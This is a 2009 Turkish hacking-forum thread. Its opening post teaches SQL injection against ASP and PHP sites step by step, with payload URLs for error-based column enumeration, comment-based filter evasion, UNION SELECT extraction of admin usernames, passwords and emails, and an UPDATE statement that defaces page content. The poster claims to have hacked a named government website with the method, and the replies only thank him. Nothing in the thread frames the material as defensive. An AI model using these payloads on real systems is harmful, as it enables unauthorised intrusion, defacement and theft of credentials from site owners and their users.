İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

bazı açıkların kulanımları

05-06-2009 10:43
#1
atlas_tr - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
01/2008
Nereden:
NErDe OLsam BEğeNİRsin
Mesajlar:
2.383
Teşekkür (Etti):
19
Teşekkür (Aldı):
189
Konular:
389
Ticaret:
(0) %
update açığını zaten bilirsiniz

main.asp?id=23 gibi sayfalarda main.asp?id=23'a diye değiştirdiğinizde

unclosed quotation mark vb... gibi bi hata veriyosa 23 ün sonuna having 1=1 ekleyip gireriz (main.asp?id=23 having 1=1) ve bize çıkan hata içerisinde kolon ismini verir örn: Main.id

burada Main tablo ismi id kolon ismidir

genelde ilk id çıkar ve id kolonunda değişiklik yapamazsınız, sonra having 1=1 silip yerine group by Main.id-- yazın (main.asp?id=23 group by Main.id--)

Main.baslik gibi bir kolon ismi daha verecek

group by Main.id,Main.Baslik yaparsanız Baslik tan bi sonraki kolon ismide görünecek. Bu şekilde like null ... gibi kelimeler olan bi hata verene kadar devam ederseniz ve kolon isimlerini not alırsanız iyi olur.

daha sonra;
main.asp?id=23 update TABLO_ADI set KOLON_ADI='HACKED'--

burada Tablo_adı Main, kolon adıda değiştirmek istediğiniz kolon olacak. Örn başlık kolonunu değiştirirseniz sitedeki main sayfası içerisindeki bütün başlıklar değişir.

peki bu php de nasıl kullanılır?

php de index.php?id=23 olsun mesela. Bunlarda hata verdirmek bir tırnakla olacak kadar kolay değildir. Şunlar denenebilir:

index.php?id=-1
index.php?id=-1'a
index.php?id=23"a
vb...

bi şekilde unclosed hatası verdirdiniz diyelim, o zaman php de kodları şu şekilde yazıyoruz

index.php?id=-1/**/having/**/1=1/**/

php de bütün kolonları tek hatada verme gibi bi güzellik var Uha

daha sonra boşluklar yerine /**/ aynı sql komutlarını php de de kullanabilirsiniz.

bu şekilde www.tkgm.gov.tr yi hacklemiş idim.

bi de sona union select 0 from admin-- ekleme olayı var (main.asp?id=23 union select 0 from admin--). Bu çoğu sitede çalışır fakat biraz deneme yanılma yöntemidir.

burda admin yazan yere doğru kolon ismini tutturursanız "two column numbers ..." diye bi hata verir. tutturamazsanız "invalid column name 'admin'" hatası verir. tutturdunuz diyelim. verdiği hata yazdığınız sayı kolon sayısıyla uyuşmuyor demek.

o zaman union select 0,1 from admin--

union select 0,1,2 from admin--

şeklinde virgül sayının bi fazlası, virgül sayının bi fazlası hesaaabı hata vermeyene kadar devam ediyoruz.

en sonunda absürt bi sayfa çıkar ve orada mesela 3, 4, 7 gibi sayılar vardır.

bu sayılar kolondaki bilgilerin yerlerini verir aslında.



union select 0,1,2,3,4,5,6,7,8 from admin-- diyelim çıkan sayfada 3,4,7 sayıları boş boş duruyo

o zaman 3,4 ve 7 nin olduğu yerlere olası admin bilgilerini yazıp denemeler yapacağız.

union select 0,1,2,kullanici_adi,sifre,5,6,mail,8 from admin-- gibi denemeler yapacağız. Eğer tutturursak sayfada 3 yazan yer kullanici_adını gösterecek mesela. tutturamazsanız hata verir. tutturana kadar devam Uha

bi de bazen database object read-only hatası veren sayfalar çıkabilir onlara hiç boşuna uğraşmayın

kendimce anlatmaya çalıştım, selametle kalın...
Kullanıcı İmzası

05-06-2009 16:51
#2
mali311 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2008
Mesajlar:
740
Teşekkür (Etti):
13
Teşekkür (Aldı):
90
Konular:
53
Ticaret:
(0) %
Teşekkürler Çok Güzel ßi Anlatım Olmuş
Kullanıcı İmzası
05-06-2009 16:58
#3
TrPunisher - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
05/2009
Mesajlar:
170
Teşekkür (Etti):
4
Teşekkür (Aldı):
9
Konular:
17
Ticaret:
(0) %
Eline Sağlık

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı